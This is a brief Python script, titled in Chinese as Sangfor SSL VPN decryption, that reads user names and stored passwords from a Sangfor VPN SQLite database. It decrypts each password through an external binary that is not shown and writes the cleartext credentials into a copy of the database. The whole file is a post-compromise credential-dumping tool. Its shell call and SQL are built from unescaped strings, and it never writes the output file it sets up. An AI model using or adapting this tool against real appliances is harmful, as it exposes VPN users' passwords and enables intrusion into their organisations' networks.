深信服 SSL VPN 解密

import sqlite3
import sys
import os
import shutil

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("sql3 decode for sunfor")
        print("decode.py sql3db outfile_name")
        exit(0)

    db_path = sys.argv[1]
    out_path = sys.argv[2]
    new_db = out_path + ".sql3"
    out_file = out_path + '.txt'

    shutil.copyfile(db_path, new_db)

    conn = sqlite3.connect(db_path)
    conn2 = sqlite3.connect(new_db)
    print("Open database success")

    c = conn.cursor()
    cursor = c.execute("SELECT id, name, passwd from svpnuser;")

    c2 = conn2.cursor()
    print("select success start decode")
    pwd_list = ''
    for row in cursor:
        user_id = row[0]
        name = row[1]
        passwd = row[2]
        if not passwd:
            continue
        fp = os.popen("./a.out %s" % passwd, 'r')
        try:
            passwd = fp.read()
            fp.close()
        except Exception as e:
            print(e)
        pwd_list += name + ":" + passwd + '\n'
        c2.execute('UPDATE svpnuser SET passwd = "%s" where id = %d;'%(passwd, user_id))


    conn2.commit()


    print("decode success")